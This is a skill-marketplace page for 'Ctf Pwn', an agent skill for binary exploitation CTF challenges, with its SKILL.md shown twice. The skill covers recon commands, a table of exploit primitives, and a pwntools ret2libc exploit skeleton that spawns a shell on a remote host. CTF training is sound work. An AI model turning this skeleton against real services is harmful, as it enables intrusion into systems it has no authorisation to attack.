How do I install the Ctf Pwn skill?

Run npx skillmds@latest add 26zl/ctf-pwn in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Ctf Pwn safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Ctf Pwn?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Ctf Pwn free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Ctf Pwn?

26zl (@26zl) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Ctf Pwn by 26zl — Agent Skill

Name: Ctf Pwn
Author: 26zl

Ctf Pwn

Use when solving binary exploitation / pwn CTF challenges — buffer overflows, ROP, format strings, heap, kernel pwn. Provides a decision tree, exploit primitive catalog, and uses pwntools via the run_script(venv="pwntools") MCP path. Triggers on "ctf pwn", "binary exploit", "rop", "buffer overflow", "format string", "heap challenge".

26zl 82d7532 3.3 KB Updated Sep 17, 2026

File contents

CTF pwn methodology

0. Pwntools venv

The MCP server runs pwntools through a dedicated venv at ~/.ctf-venvs/pwntools/. If missing:

wsl.exe bash -lc "mkdir -p ~/.ctf-venvs && python3 -m venv ~/.ctf-venvs/pwntools && ~/.ctf-venvs/pwntools/bin/pip install pwntools z3-solver"

Then use it: run_script(code, venv="pwntools").

1. Identify the binary

file ./vuln
checksec --file=./vuln       # or: rabin2 -I ./vuln
strings ./vuln | head -50
nm ./vuln | head -30          # symbols if not stripped

Note: RELRO, Canary, NX, PIE, arch (x86 / x86_64 / arm / mips), libc version.

If a libc is provided, identify it:

strings libc.so.6 | grep "GNU C Library"
# or
./vuln_pwntools_helper  # see below

libc-database and libc-rip/libc.rip (web) — find offsets by leaked function addresses.

2. Find the bug

Static:

objdump -d -M intel ./vuln
Ghidra / cutter (radare2 GUI) for decompile — both in registry
Look for: gets, strcpy, unbounded read, printf(user_input), integer overflow on size, double free, UAF

Dynamic:

gdb-multiarch ./vuln + pwndbg / gef
Cyclic pattern: cyclic 200 → run → crash → cyclic -l <RIP> to find offset

3. Pick the primitive

Class	Primitive	Tool
Stack BOF, no canary, NX off	shellcode	`pwntools shellcraft.sh()`
Stack BOF, NX on, ASLR off	ret2win / static ROP	`ROPgadget --binary ./vuln`
Stack BOF, NX+ASLR, libc leak	ret2libc	leak with PUTS@got, calc system, /bin/sh
Stack BOF, NX+ASLR, no leak	ret2plt + puts → leak	classic chain
Format string	%n write / %s leak	pwntools `fmtstr_payload`
Heap (glibc)	tcache, fastbin, unsorted bin	`how2heap`, `pwndbg heap`
Use-after-free	dangling pointer abuse	manual python
Kernel	KASLR leak, modprobe_path, etc	manual + qemu

4. Exploit skeleton (pwntools)

from pwn import *

context.binary = ELF("./vuln")
libc = ELF("./libc.so.6")
p = remote("host", 1337)  # or process("./vuln") for local

# leak
p.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym['puts']

# pwn
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']))  # stack align
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(b"A" * 40 + rop.chain())

p.interactive()

5. Heap (glibc)

Identify glibc version (matters: 2.27, 2.31, 2.32, 2.34+ differ)
Useful tcache primitives: tcache poisoning (≥ 2.27), tcache key bypass (≥ 2.32), safe-linking (≥ 2.32)
Tools: pwndbg heap, glibc-all-in-one, how2heap (clone if not present)

6. Don't waste time on

Manual ROP gadget search if the binary is large — use ROPgadget or ropper
Reimplementing pwntools functionality (cyclic, fmtstr, ROP chain building)
Trying win functions if there's no system symbol — check nm first

After solve

Use the writeup-template skill. Include the final exploit script verbatim.

---name: ctf-pwndescription: Use when solving binary exploitation / pwn CTF challenges — buffer overflows, ROP, format strings, heap, kernel pwn. Provides a decision tree, exploit primitive catalog, and uses pwntools via the run_script(venv="pwntools") MCP path. Triggers on "ctf pwn", "binary exploit", "rop", "buffer overflow", "format string", "heap challenge".---# CTF pwn methodology## 0. Pwntools venvThe MCP server runs pwntools through a dedicated venv at `~/.ctf-venvs/pwntools/`. If missing:```bashwsl.exe bash -lc "mkdir -p ~/.ctf-venvs && python3 -m venv ~/.ctf-venvs/pwntools && ~/.ctf-venvs/pwntools/bin/pip install pwntools z3-solver"```Then use it: `run_script(code, venv="pwntools")`.## 1. Identify the binary```bashfile ./vulnchecksec --file=./vuln # or: rabin2 -I ./vulnstrings ./vuln | head -50nm ./vuln | head -30 # symbols if not stripped```Note: `RELRO`, `Canary`, `NX`, `PIE`, arch (x86 / x86_64 / arm / mips), libc version.If a libc is provided, identify it:```bashstrings libc.so.6 | grep "GNU C Library"# or./vuln_pwntools_helper # see below````libc-database` and `libc-rip`/`libc.rip` (web) — find offsets by leaked function addresses.## 2. Find the bugStatic:- `objdump -d -M intel ./vuln`- Ghidra / `cutter` (radare2 GUI) for decompile — both in registry- Look for: `gets`, `strcpy`, unbounded `read`, `printf(user_input)`, integer overflow on size, double free, UAFDynamic:- `gdb-multiarch ./vuln` + `pwndbg` / `gef`- Cyclic pattern: `cyclic 200` → run → crash → `cyclic -l <RIP>` to find offset## 3. Pick the primitive| Class | Primitive | Tool || --- | --- | --- || Stack BOF, no canary, NX off | shellcode | `pwntools shellcraft.sh()` || Stack BOF, NX on, ASLR off | ret2win / static ROP | `ROPgadget --binary ./vuln` || Stack BOF, NX+ASLR, libc leak | ret2libc | leak with PUTS@got, calc system, /bin/sh || Stack BOF, NX+ASLR, no leak | ret2plt + puts → leak | classic chain || Format string | %n write / %s leak | pwntools `fmtstr_payload` || Heap (glibc) | tcache, fastbin, unsorted bin | `how2heap`, `pwndbg heap` || Use-after-free | dangling pointer abuse | manual python || Kernel | KASLR leak, modprobe_path, etc | manual + qemu |## 4. Exploit skeleton (pwntools)```pythonfrom pwn import *context.binary = ELF("./vuln")libc = ELF("./libc.so.6")p = remote("host", 1337) # or process("./vuln") for local# leakp.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))leak = u64(p.recvline().strip().ljust(8, b"\x00"))libc.address = leak - libc.sym['puts']# pwnrop = ROP(libc)rop.raw(rop.find_gadget(['ret'])) # stack alignrop.system(next(libc.search(b"/bin/sh")))p.sendline(b"A" * 40 + rop.chain())p.interactive()```## 5. Heap (glibc)- Identify glibc version (matters: 2.27, 2.31, 2.32, 2.34+ differ)- Useful tcache primitives: tcache poisoning (≥ 2.27), tcache key bypass (≥ 2.32), safe-linking (≥ 2.32)- Tools: `pwndbg heap`, `glibc-all-in-one`, `how2heap` (clone if not present)## 6. Don't waste time on- Manual ROP gadget search if the binary is large — use `ROPgadget` or `ropper`- Reimplementing pwntools functionality (cyclic, fmtstr, ROP chain building)- Trying win functions if there's no `system` symbol — check `nm` first## After solveUse the `writeup-template` skill. Include the final exploit script verbatim.

Frequently asked questions